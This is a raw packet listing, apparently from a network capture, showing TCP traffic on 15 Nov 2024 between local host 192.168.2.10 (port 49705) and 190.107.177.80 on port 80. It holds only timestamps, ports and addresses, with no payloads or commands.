Nov 15, 2024 09:10:04.697794914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697804928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697901011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697937965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697983980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.697985888 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.697995901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698034048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698091984 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.698203087 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698259115 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.698260069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698271036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698299885 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.698347092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698358059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.698816061 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.736183882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.736238003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.736254930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.736272097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.736282110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.736325979 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.736346960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.736372948 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.736443043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.783056021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.783092976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.783154964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.783209085 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.820669889 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820688009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820699930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820755959 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820768118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820770979 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.820777893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820835114 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.820866108 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820878029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820888996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820903063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.820905924 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.820946932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.821001053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821014881 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821027994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821067095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.821067095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.821116924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821129084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821170092 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.821748018 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821789026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821803093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821827888 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.821888924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821902037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821913004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821926117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.821940899 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.821999073 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.822026014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.822045088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.822057009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.822083950 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.822129011 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.859599113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.859621048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.859633923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.859646082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.859697104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.859708071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.859740019 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.859774113 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.906341076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.906435966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.906447887 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.906467915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.906478882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.906552076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.906552076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.943656921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.943700075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.943712950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.943752050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.943752050 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944088936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944137096 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944148064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944159985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944175005 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944205046 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944269896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944282055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944324017 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944386005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944402933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944456100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944474936 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944503069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944514036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944540024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944681883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944736958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944747925 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944787025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944787025 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944818974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944879055 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944891930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944940090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.944978952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.944978952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.945130110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945177078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945188046 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945220947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.945311069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945322990 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945333958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945346117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945370913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.945370913 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.945411921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.945445061 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.982978106 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.983043909 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.983078003 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.983117104 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:04.983175993 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:04.983175993 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.029695034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.029758930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.029798031 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.029807091 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.029834032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.029870033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.029884100 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.029906034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.029964924 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067106962 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067188978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067240953 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067244053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067281008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067336082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067359924 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067574978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067610025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067646980 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067694902 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067694902 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067715883 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067753077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067786932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067821026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067857981 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.067866087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067866087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.067894936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068006992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068044901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068079948 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068119049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068125963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068276882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068322897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068331957 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068367958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068403006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068411112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068587065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068624973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068660021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068665028 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068759918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068802118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068836927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068845034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068845034 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.068873882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068907976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.068979979 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.106342077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.106399059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.106426001 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.106434107 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.106468916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.106489897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.106504917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.106553078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.153125048 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.153187037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.153223038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.153248072 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.153258085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.153294086 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.153306007 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.153328896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.153371096 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.190464973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190524101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190565109 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190591097 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.190599918 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190639019 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190665960 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.190850973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190907001 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190917969 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.190960884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.190995932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191031933 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191071033 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191071987 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191085100 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191143036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191186905 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191198111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191232920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191270113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191291094 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191299915 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191349983 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191355944 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191391945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191425085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191436052 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191550970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191590071 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191603899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191639900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191689968 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191706896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191744089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191796064 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.191936970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.191991091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192024946 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192061901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192070961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.192116976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192152977 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192158937 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.192190886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192220926 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.192228079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.192282915 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.229696035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.229753971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.229792118 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.229825974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.229847908 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.229863882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.229916096 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.269933939 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.276293993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.276309013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.276319981 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.276334047 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.276370049 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.276408911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.276421070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.276431084 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.276601076 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.313739061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.313751936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.313765049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.313786030 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.313796043 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.313807964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.313903093 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.313903093 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.314196110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314205885 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314215899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314228058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314275026 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314290047 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.314290047 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.314318895 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314332962 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.314378977 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329405069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329428911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329442024 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329459906 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329490900 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329557896 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329571009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329582930 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329596996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329632044 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329654932 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329716921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329730034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329765081 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329827070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329839945 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329853058 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329893112 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329932928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.329968929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.329997063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330010891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330023050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330055952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.330200911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330214977 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330226898 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330240011 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.330260992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.330260992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.353018999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.353060007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.353071928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.353085041 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.353089094 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.353122950 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.353159904 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.353171110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.353333950 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.394901037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.399645090 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.399671078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.399682045 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.399719954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.399730921 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.399732113 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.399765968 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.399787903 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.399842978 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.437185049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437200069 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437216997 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437230110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437238932 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437249899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.437328100 CET	49705	80	192.168.2.10	190.107.177.80
